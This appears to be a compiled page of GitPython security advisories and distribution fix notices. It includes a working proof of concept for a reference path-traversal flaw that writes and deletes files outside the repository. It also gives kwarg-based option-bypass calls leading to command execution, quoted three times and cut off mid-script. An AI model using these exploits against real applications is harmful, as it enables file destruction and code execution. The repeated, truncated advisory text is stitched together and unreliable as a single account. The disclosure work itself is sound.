CVE-2026-44243

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.

📦 Affected Versions

• Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

🧠 Details

Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion

Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.

Affected Code

def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...

@classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)

def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.

🧪 Proof of Concept

Setup

pip install GitPython==3.1.46
python poc.py

Exploit

import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())

Result

repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False

💥 Impact

What can an attacker do?

• Create or overwrite files outside the repository metadata directory
• Delete attacker-chosen files reachable from the process permissions
• Corrupt application state or configuration files
• Cause denial of service by deleting or overwriting important files

Security Impact

• Confidentiality: Low *…

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

• git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
• git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

• Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
• Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
• Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
• Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

• upload_pack=... becomes --upload-pack=...
• receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

• remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
• remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

• test/test_clone.py:129-136 checks {"upload-pack": ...}
• test/test_remote.py:830-833 checks {"upload-pack": ...}
• test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC

1. Create and activate a virtual environment in the repository root:

python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

# Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

# Setup: this wrapper is just to demo things you can do, not required for…

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.

Root has patched CVE-2026-44243 in the GitPython package for Root:PyPI. Multiple fixed versions available.

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.

TuxCare rebuilt gitpython to address 2 CVEs. Fixed in 3.1.31.post13+tuxcare.

These are all security issues fixed in the python311-GitPython-3.1.49-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-GitPython fixes the following issues

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).

This update for python-GitPython fixes the following issues

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).

This update for python-GitPython fixes the following issues:

• CVE-2026-42215: command injection via Git options bypass (bsc#1264604).
• CVE-2026-42284: unsafe option check validates multi_options before shlex.split transforms it (bsc#1264605).
• CVE-2026-44243: path traversal in GitPython reference APIs allows arbitrary file write and delete outside the repository (bsc#1264606).
• CVE-2026-44244: newline injection in config_writer().set_value() enables RCE via core.hooksPath (bsc#1264608).
• CVE-2026-67322: vulnerable to environment-variable exfiltration in Repo.clone_from() (bsc#1273357).
• CVE-2026-67323: fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote() (bsc#1273358).
• CVE-2026-67325: contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature (bsc#1273359).
• CVE-2026-67326: fails to validate newline characters in the section parameter of config_writer() (bsc#1273364).
• CVE-2026-69097: fails to properly escape section names in git config files, allowing attackers to inject arbitrary configuration directives through malicious submodule names (bsc#1273414).
• CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
• CVE-2026-73620: failure to guard git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
• CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
• CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
• CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
• CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
• CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
• CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
• CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
• CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
• CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
• CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
• CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
• CVE-2026-78675: fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives (bsc#1276434).
• CVE-2026-78676: fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives (bsc#1276433).
• CVE-2026-78677: allowing creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
• CVE-2026-78678: an incomplete denylist in the unsafe_git_revision_options guard that omits --contents…

Santos Gallegos discovered that GitPython did not properly validate paths when resolving certain Git references. An attacker could possibly use this issue to cause files outside the .git directory to be accessed, leading to a denial of service. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, and Ubuntu 22.04 LTS. (CVE-2023-41040)

Wes Ring discovered that GitPython did not properly block certain unsafe Git options when they were provided as Python keyword arguments. An attacker could possibly use this issue to cause arbitrary command execution. (CVE-2026-42215)

It was discovered that GitPython did not properly validate clone options before processing them. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. This issue only affected Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-42284)

It was discovered that GitPython did not properly validate reference paths during reference operations. An attacker could possibly use this issue to write, overwrite, move, or delete files outside the repository. (CVE-2026-44243)

Dan Aridor discovered that GitPython did not properly validate configuration values before writing them to Git configuration files. An attacker could possibly use this issue to inject unsafe Git configuration, leading to arbitrary command execution through Git hooks. (CVE-2026-44244)